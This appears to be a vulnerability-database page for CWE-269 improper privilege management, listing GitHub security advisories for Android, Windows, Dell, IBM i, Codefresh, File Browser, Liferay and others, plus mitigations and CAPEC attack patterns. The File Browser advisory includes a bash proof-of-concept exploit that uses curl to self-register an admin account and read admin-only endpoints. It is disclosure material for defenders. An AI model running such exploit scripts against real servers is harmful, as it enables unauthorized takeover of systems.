CWE-269
DiscouragedImproper Privilege Management
Abstraction: Class · Status: Draft
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
6108 vulnerabilities reference this CWE, most recent first.
GHSA-5F45-24FP-CX62
Vulnerability from github – Published: 2024-09-11 00:30 – Updated: 2024-09-11 18:31In addPreferencesForType of AccountTypePreferenceLoader.java, there is a possible way to disable apps for other users due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-40657"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-11T00:15:11Z",
"severity": "HIGH"
},
"details": "In addPreferencesForType of AccountTypePreferenceLoader.java, there is a possible way to disable apps for other users due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-5f45-24fp-cx62",
"modified": "2024-09-11T18:31:03Z",
"published": "2024-09-11T00:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40657"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/packages/apps/Settings/+/8261e0ade3b414fea61d7fe9d8bc6df7a3fc8603"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2024-09-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5FFF-Q63H-X7XW
Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2022-05-13 01:26Google Chrome before 15.0.874.120, when Java Runtime Environment (JRE) 7 is used, does not request user confirmation before applet execution begins, which allows remote attackers to have an unspecified impact via a crafted applet.
{
"affected": [],
"aliases": [
"CVE-2011-3898"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-11-11T11:55:00Z",
"severity": "HIGH"
},
"details": "Google Chrome before 15.0.874.120, when Java Runtime Environment (JRE) 7 is used, does not request user confirmation before applet execution begins, which allows remote attackers to have an unspecified impact via a crafted applet.",
"id": "GHSA-5fff-q63h-x7xw",
"modified": "2022-05-13T01:26:54Z",
"published": "2022-05-13T01:26:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3898"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14266"
},
{
"type": "WEB",
"url": "http://code.google.com/p/chromium/issues/detail?id=102461"
},
{
"type": "WEB",
"url": "http://googlechromereleases.blogspot.com/2011/11/stable-channel-update.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/46933"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5FJR-2J73-P536
Vulnerability from github – Published: 2026-03-11 21:31 – Updated: 2026-03-11 21:31Dell Alienware Command Center (AWCC), versions prior to 6.12.24.0, contain an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.
{
"affected": [],
"aliases": [
"CVE-2026-24510"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T20:16:14Z",
"severity": "MODERATE"
},
"details": "Dell Alienware Command Center (AWCC), versions prior to 6.12.24.0, contain an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.",
"id": "GHSA-5fjr-2j73-p536",
"modified": "2026-03-11T21:31:03Z",
"published": "2026-03-11T21:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24510"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000427573/dsa-2026-093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5FW3-2234-G822
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2024-06-03 18:53An elevation of privilege vulnerability exists in the way that the psmsrv.dll handles objects in memory, aka 'Windows Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2019-1173, CVE-2019-1174, CVE-2019-1177, CVE-2019-1178, CVE-2019-1179, CVE-2019-1180, CVE-2019-1184, CVE-2019-1186.
{
"affected": [],
"aliases": [
"CVE-2019-1175"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-14T21:15:00Z",
"severity": "HIGH"
},
"details": "An elevation of privilege vulnerability exists in the way that the psmsrv.dll handles objects in memory, aka \u0027Windows Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2019-1173, CVE-2019-1174, CVE-2019-1177, CVE-2019-1178, CVE-2019-1179, CVE-2019-1180, CVE-2019-1184, CVE-2019-1186.",
"id": "GHSA-5fw3-2234-g822",
"modified": "2024-06-03T18:53:35Z",
"published": "2022-05-24T16:53:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1175"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1175"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5G3J-J755-P6F8
Vulnerability from github – Published: 2022-05-24 19:21 – Updated: 2026-08-19 18:31Windows 10 Update Assistant Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42297.
{
"affected": [],
"aliases": [
"CVE-2021-43211"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-24T01:15:00Z",
"severity": "HIGH"
},
"details": "Windows 10 Update Assistant Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42297.",
"id": "GHSA-5g3j-j755-p6f8",
"modified": "2026-08-19T18:31:45Z",
"published": "2022-05-24T19:21:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43211"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43211"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-43211"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5G56-4CM9-FM48
Vulnerability from github – Published: 2026-08-12 18:31 – Updated: 2026-08-12 18:31IBM i 7.6, 7.5, 7.4, and 7.3 s vulnerable to privilege escalation via Navigator for i. An authenticated user could elevate privileges to a root user to execute commands.
{
"affected": [],
"aliases": [
"CVE-2026-18713"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T18:17:28Z",
"severity": "HIGH"
},
"details": "IBM i 7.6, 7.5, 7.4, and 7.3 s vulnerable to privilege escalation via Navigator for i. An authenticated user could elevate privileges to a root user to execute commands.",
"id": "GHSA-5g56-4cm9-fm48",
"modified": "2026-08-12T18:31:22Z",
"published": "2026-08-12T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18713"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7283292"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5G98-GQ3X-F82Q
Vulnerability from github – Published: 2023-10-30 18:30 – Updated: 2024-09-10 00:30The installer (aka openvpn-client-installer) in Securepoint SSL VPN Client before 2.0.40 allows local privilege escalation during installation or repair.
{
"affected": [],
"aliases": [
"CVE-2023-47101"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-30T18:15:10Z",
"severity": "HIGH"
},
"details": "The installer (aka openvpn-client-installer) in Securepoint SSL VPN Client before 2.0.40 allows local privilege escalation during installation or repair.",
"id": "GHSA-5g98-gq3x-f82q",
"modified": "2024-09-10T00:30:48Z",
"published": "2023-10-30T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47101"
},
{
"type": "WEB",
"url": "https://cyvisory.group/advisory/CYADV-2023-012"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/securepoint/news/2023/08/2040-is-now-available"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5G9X-76R7-XGP8
Vulnerability from github – Published: 2026-08-25 12:31 – Updated: 2026-09-02 21:31In affected versions of the Codefresh platform an authenticated user can utilize an API endpoint to elevate to Admin permissions.
{
"affected": [],
"aliases": [
"CVE-2026-12878"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T10:18:03Z",
"severity": "HIGH"
},
"details": "In affected versions of the Codefresh platform an authenticated user can utilize an API endpoint to elevate to Admin permissions.",
"id": "GHSA-5g9x-76r7-xgp8",
"modified": "2026-09-02T21:31:56Z",
"published": "2026-08-25T12:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12878"
},
{
"type": "WEB",
"url": "https://advisories.codefresh.io/post/2026/sa2026-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5GG9-5G7W-HM73
Vulnerability from github – Published: 2026-03-16 20:44 – Updated: 2026-03-30 14:00Summary
Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.
Details
Affected file: http/auth.go
Vulnerable code:
user := &users.User{
Username: info.Username,
}
d.settings.Defaults.Apply(user)
settings.UserDefaults.Apply (settings/defaults.go):
func (d *UserDefaults) Apply(u *users.User) {
u.Perm = d.Perm
...
}
Settings API permits Admin in defaults (http/settings.go):
var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
...
d.settings.Defaults = req.Defaults
...
})
The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.
Demo Server Setup
docker run -d --name fb-test \
-p 8080:80 \
-v /tmp/fb-data:/srv \
filebrowser/filebrowser:v2.31.2
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}')
curl -s -X PUT http://localhost:8080/api/settings \
-H "X-Auth: $ADMIN_TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"signup": true,
"defaults": {
"perm": {
"admin": true,
"execute": true,
"create": true,
"rename": true,
"modify": true,
"delete": true,
"share": true,
"download": true
}
}
}'
PoC Exploit
#!/bin/bash
TARGET="http://localhost:8080"
echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET/api/signup" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"
echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.
Impact
Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can: - List, read, modify, and delete every file on the server - Create, modify, and delete all other users - Change authentication method and server settings - Execute arbitrary commands if enableExec = true
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.61.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.62.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32760"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T20:44:20Z",
"nvd_published_at": "2026-03-20T00:16:17Z",
"severity": "CRITICAL"
},
"details": "## Summary\nAny unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the\nnew user without any server-side guard that strips admin from self-registered accounts.\n\n## Details\n\n**Affected file:** http/auth.go\n\n**Vulnerable code:**\n```go\nuser := \u0026users.User{\n Username: info.Username,\n}\nd.settings.Defaults.Apply(user)\n```\n\n**`settings.UserDefaults.Apply` (settings/defaults.go):**\n```go\nfunc (d *UserDefaults) Apply(u *users.User) {\n u.Perm = d.Perm\n ...\n}\n```\n\n**Settings API permits Admin in defaults (http/settings.go):**\n```go\nvar settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n ...\n d.settings.Defaults = req.Defaults\n ...\n})\n```\n\nThe signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-test \\\n -p 8080:80 \\\n -v /tmp/fb-data:/srv \\\n filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"admin\",\"password\":\"admin\"}\u0027)\n\ncurl -s -X PUT http://localhost:8080/api/settings \\\n -H \"X-Auth: $ADMIN_TOKEN\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"signup\": true,\n \"defaults\": {\n \"perm\": {\n \"admin\": true,\n \"execute\": true,\n \"create\": true,\n \"rename\": true,\n \"modify\": true,\n \"delete\": true,\n \"share\": true,\n \"download\": true\n }\n }\n }\u0027\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\nTARGET=\"http://localhost:8080\"\n\necho \"[*] Registering attacker account via public signup endpoint...\"\nSTATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST \"$TARGET/api/signup\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}\u0027)\necho \"[*] Signup response: HTTP $STATUS\"\n\necho \"[*] Logging in as newly created account...\"\nATTACKER_TOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}\u0027)\n\necho \"[*] Fetching user list with attacker token (admin-only endpoint)...\"\ncurl -s \"$TARGET/api/users\" \\\n -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n\necho \"\"\necho \"[*] Verifying admin access by reading /api/settings...\"\ncurl -s \"$TARGET/api/settings\" \\\n -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n```\n\n**Expected output:** The attacker\u0027s token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.\n\n## Impact\n\nAny unauthenticated visitor who can reach POST /api/signup obtains a full admin account.\nFrom there, they can:\n- List, read, modify, and delete every file on the server\n- Create, modify, and delete all other users\n- Change authentication method and server settings\n- Execute arbitrary commands if enableExec = true",
"id": "GHSA-5gg9-5g7w-hm73",
"modified": "2026-03-30T14:00:05Z",
"published": "2026-03-16T20:44:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5gg9-5g7w-hm73"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32760"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/a63573b67eb302167b4c4f218361a2d0c138deab"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "File Browser Signup Grants Admin When Default Permissions Include Admin"
}
GHSA-5GH9-G62H-F35M
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2025-05-28 20:14Privilege escalation vulnerability in Liferay Portal 7.0.3 through 7.3.4, and Liferay DXP 7.1 before fix pack 20, and 7.2 before fix pack 9 allows remote authenticated users with permission to update/edit users to take over a company administrator user account by editing the company administrator user.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.3.4"
},
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.portal.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.3"
},
{
"fixed": "7.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.dxp.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.1.0"
},
{
"fixed": "7.1.10.fp20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.dxp.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.2.0"
},
{
"fixed": "7.2.10.fp9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-33335"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-28T20:14:34Z",
"nvd_published_at": "2021-08-03T22:15:00Z",
"severity": "HIGH"
},
"details": "Privilege escalation vulnerability in Liferay Portal 7.0.3 through 7.3.4, and Liferay DXP 7.1 before fix pack 20, and 7.2 before fix pack 9 allows remote authenticated users with permission to update/edit users to take over a company administrator user account by editing the company administrator user.",
"id": "GHSA-5gh9-g62h-f35m",
"modified": "2025-05-28T20:14:34Z",
"published": "2022-05-24T19:10:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33335"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://issues.liferay.com/browse/LPE-17103"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20220828222916/https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/120747906"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Liferay Portal and Liferay DXP Has Company Administrator Accounts Vulnerable to Takeovers"
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.